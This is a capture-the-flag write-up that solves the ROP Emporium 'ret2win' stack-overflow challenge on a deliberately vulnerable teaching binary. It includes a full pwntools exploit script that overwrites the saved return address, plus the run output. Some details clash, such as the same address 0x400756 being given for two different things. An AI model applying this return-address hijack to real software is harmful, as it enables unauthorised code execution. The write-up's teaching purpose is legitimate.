Writeup: ROP Emporium ret2win

Challenge: ROP Emporium — ret2win

ROP Emporium is the gentle on-ramp to return-oriented programming: eight x86_64 / x86 / ARM / MIPS binaries that each isolate exactly one new idea. ret2win is the very first one, and it earns its name — you don't even build a chain yet. You just overflow a buffer and return to a function the binary already contains.

The objective, in the challenge author's words:

Locate a method that you want to call within the binary. Call it by overwriting a saved return address on the stack.

That's it. No ASLR to defeat, no shellcode to inject, no leaks to chain. Just a textbook stack overflow and a hard-coded destination.

Why this challenge matters

Every ROP chain you'll ever write begins the same way: you need to control the saved return address on the stack. ret2win strips away everything else so the only thing you have to get right is the offset. Once you can land your own ret address on the saved RIP slot, all of ROP becomes a question of what you put there.

Recon

The binary is a stripped-but-not-really 64-bit ELF. Running checksec (pwntools prints it for you when you ELF() the file) gives the classic teaching-binary profile:

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)
Stripped: No

Two things matter here:

NX is on, which would matter if we wanted to drop shellcode on the stack — but we don't. We're returning to an existing function.

Finding the buffer size

Run the binary cold and it tells you almost everything you need to know:

ret2win by ROP Emporium
x86_64

For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer!
What could possibly go wrong?
You there, may I have your input please? And don't worry about null bytes, we're using read()!

So:

On x86_64 the saved RBP sits between the buffer and the saved return address, which gives the canonical offset: 32 (buffer) + 8 (saved RBP) = 40 bytes of padding before the return address you actually want to control.

ROP Emporium suggests confirming this empirically before each challenge — clear the kernel ring buffer with sudo dmesg -C, run the binary, feed it 40 bytes of garbage followed by 5 X characters, then check dmesg -t:

ret2win[14987]: segfault at a5858585858 ip 00000a5858585858 sp 00007ffe8c93d4e0 ...

The faulting instruction pointer is 0x5858585858 — your five X's landed exactly where the CPU tried to fetch the next instruction. Offset confirmed.

Rule of thumb across the ROP Emporium binaries: ~40 bytes on x86_64, 44 on x86, ~36 on ARMv5 / MIPS. Confirm anyway.

Finding the win function

Open the binary in Binary Ninja (or your decompiler of choice) and look at the symbol table. The function literally named ret2win is sitting there in .text:

Binary Ninja view of pwnme and ret2win with the stack layout and ROP chain annotated

The annotations call out the four pieces you need:

  1. The 32-byte buffer plus 8 bytes of saved RBP — the 40 bytes of padding.
  2. The original saved return address into main at 0x400756 — what we're overwriting.
  3. The ret at the end of pwnme (0x400755) — the instruction that actually transfers control to whatever address we pasted on the stack.
  4. The ret2win function at 0x400756, which puts()'s "Well done!" and then system()'s /bin/cat flag.txt.

The disassembled body of ret2win is exactly what you'd hope:

ret2win:
    push  rbp
    mov   rbp, rsp
    mov   edi, <fmt>          ; "Well done! Here's your flag:"
    call  puts
    mov   edi, <fmt>          ; "/bin/cat flag.txt"
    call  system
    nop
    pop   rbp
    ret

Grab the address from the symbol table — pwntools will do it for you with elf.symbols["ret2win"] so you don't even need to hardcode it.

First attempt — and the movaps gotcha

The naive payload is exactly what the challenge description suggests:

40 bytes of padding  ||  &ret2win

In pwntools:

payload = b"A" * 40 + p64(elf.symbols["ret2win"])

Send it. The program... crashes. Right before the flag prints, somewhere inside system() or puts(). Welcome to the movaps stack-alignment issue.

On x86_64 System V, glibc's system() and friends use SSE instructions (e.g., movaps) that require 16-byte stack alignment. The compiler's normal function prologue keeps the stack aligned, but when we hijack RIP with a ret, the stack ends up off by 8 bytes — because ret itself pops 8 bytes and we never pushed the matching call. The first movaps inside glibc then faults with a SIGSEGV.

The fix is the canonical one-liner: insert an extra ret gadget before your target. A bare ret pops 8 bytes and jumps; that single ret realigns the stack to a 16-byte boundary before control reaches ret2win. Any single ret byte (0xc3) anywhere in the binary works — pwntools can find one for you with elf.search(asm("ret")).

Final exploit

pwntools exploit script with offset, ret gadget, and ret2win address

from pwn import *

elf = ELF("./ret2win")
p   = process("./ret2win")

offset     = 40                                       # 32 (buffer) + 8 (saved rbp)
ret2win    = elf.symbols["ret2win"]                   # pwntools resolves it for us
ret_gadget = next(elf.search(asm("ret")))             # any single ret in the binary — fixes the movaps alignment crash

payload = b"A" * offset + p64(ret_gadget) + p64(ret2win)

p.sendline(payload)
p.interactive()

Run it and the flag drops:

Terminal showing checksec output, the prompt, and the ROPE{...} flag

[+] Starting local process './ret2win': pid 634
[*] Switching to interactive mode
ret2win by ROP Emporium
x86_64

For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer!
What could possibly go wrong?
You there, may I have your input please? And don't worry about null bytes, we're using read()!
> Thank you!
Well done! Here's your flag:
ROPE{a_placeholder_32byte_flag!}

Flag captured. Two writes to memory and a ret later, the binary cheerfully prints the prize.

References



Tags: CTF, Writeup, Pwn, ROP, Binary Exploitation, Buffer Overflow, Assembly, Binary Ninja, Pwntools, Linux, x86_64, Featured

← Back home